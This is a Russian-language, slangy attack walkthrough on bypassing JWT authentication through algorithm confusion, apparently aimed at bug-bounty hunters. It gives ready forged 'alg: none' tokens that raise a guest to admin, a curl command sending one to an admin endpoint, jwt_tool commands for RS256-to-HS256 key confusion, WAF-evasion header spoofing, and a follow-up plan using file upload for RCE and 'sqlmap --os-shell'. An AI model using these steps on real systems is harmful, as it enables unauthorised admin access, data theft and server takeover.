Что вижу: JWT (JSON Web Token) в куках или заголовках типа Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.... Вижу, что алгоритм подписи (alg) — это HS256 или что-то такое, что можно подменить. Это как замок на двери, но ключ от него лежит под ковриком с надписью «Взломай меня».
Как поймал: Перехватываю запрос через Burp Suite, декодирую токен на jwt.io или через jwt_tool. Сразу вижу, что alg не зафиксирован на сервере, а проверка подписи — чисто формальность. Лезу в доки библиотеки (если это Node.js с jsonwebtoken или Python с PyJWT старой версии), ищу, как обойти валидацию.
Чем пахнет: Это потенциальный обход авторизации с вероятностью 8/10, если сервер тупо верит заголовку alg и не проверяет его на бэкенде. Если алгоритм подписи можно подставить на none, то ты уже админ, братан. Класс уязвимости — Authentication Bypass, иногда доходит до RCE, если админка даёт доступ к системным командам.
Почему подмена JWT alg — это боль?
Для тех, кто вчера только поставил Kali: JWT — это токен, состоящий из трёх частей (Header, Payload, Signature), разделённых точками и закодированных в Base64. Header содержит инфу об алгоритме подписи (alg), например, HS256 (симметричный ключ) или RS256 (асимметричный). Проблема в том, что многие библиотеки и сервера слепо доверяют значению alg из токена, не проверяя его на соответствие ожидаемому.
Классика жанра — подмена alg на none. Если сервер принимает токен с alg: none, он просто игнорирует подпись и верит пейлоаду. Это как сказать охраннику: «У меня пропуск без подписи, но я свой, пусти». И он пускает! Или другой трюк: смена с RS256 (асимметричный, нужен публичный ключ) на HS256 (симметричный), используя публичный ключ как секрет для подписи. Если сервер не валидирует алгоритм, ты в игре.
CVE для примера: CVE-2018-0114 — уязвимость в некоторых реализациях JWT, где подмена alg на none позволяет обойти авторизацию. Эксплойты и PoC есть на Exploit-DB или в доках jwt_tool.
Чё почём
Эксплойт: Вот тебе готовый вектор атаки через подмену alg на none. Допустим, у тебя есть токен, перехваченный через Burp:
|
1 |
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJpYXQiOjE1MTYyMzkwMjJ9.тут_подпись |
-
Декодируй Header и Payload на
jwt.ioили черезjwt_tool. Видишь,user: guest. Меняем это наuser: admin. -
В Header меняем
algсHS256наnone. Новый токен собираем без подписи (просто Header.Payload. без третьей части):
|
1 |
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE1MTYyMzkwMjJ9. |
3. Отправляй через Burp или curl:
|
1 2 |
curl -X GET -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE1MTYyMzkwMjJ9." http://target.com/admin |
Если сервер принимает none как валидный алгоритм, ты в админке. Поздравляю, бро, ты только что сломал авторизацию.
Вектор 2 (RS256 на HS256): Если alg стоит RS256, попробуй подменить на HS256. Найди публичный ключ (часто он валяется в /jwks.json или в исходниках). Используй его как секрет для подписи через HS256 с помощью jwt_tool:
|
1 |
jwt_tool -I -S hs256 -k public_key.pem -pc user -pv admin input_token |
Отправь новый токен на сервер. Если он не проверяет алгоритм, ты снова админ.
Обход защиты: Если сервер фильтрует none, попробуй другие значения alg, типа HS384 или HS512, играя с версиями библиотеки. Если есть WAF, шифруй токен через двойное кодирование (Base64 дважды) или подменяй заголовки: X-Forwarded-For: 127.0.0.1.
Доказательство: Делай скрин ответа сервера с 200 OK и доступом к /admin. «Видишь приветствие ‘Welcome, Admin’? Это не твой котик мурлычет, это твой билет на баг-баунти». Лог запроса из Burp — твой PoC для HackerOne.
Советы
3 вектора для добивания:
-
Игра с алгоритмами. Если
noneне катит, попробуй подмену междуRS256/HS256или другие варианты (ES256,PS256). Используйjwt_tool -I -pc user -pv adminдля автоматизации. -
Копай ключ. Если это
RS256, ищи публичный ключ в открытых эндпоинтах типа/jwks.jsonили в старых репозиториях на GitHub. Иногда ключи сливают в коммитах. -
Смотри на куки и заголовки. JWT может быть не только в
Authorization, но и в куках типаsession=.... Проверяй все параметры через Burp Intruder.
План атаки:
-
Перехватывай токен через Burp и декодируй на
jwt.ioилиjwt_tool. -
Подменяй
algнаnoneили меняй алгоритм подписи, если есть ключ. Отправляй через Repeater в Burp. -
Если доступ получен, ищи админские функции (например, загрузку файлов для RCE). Если есть доступ к БД, дампи через
sqlmap --os-shell.



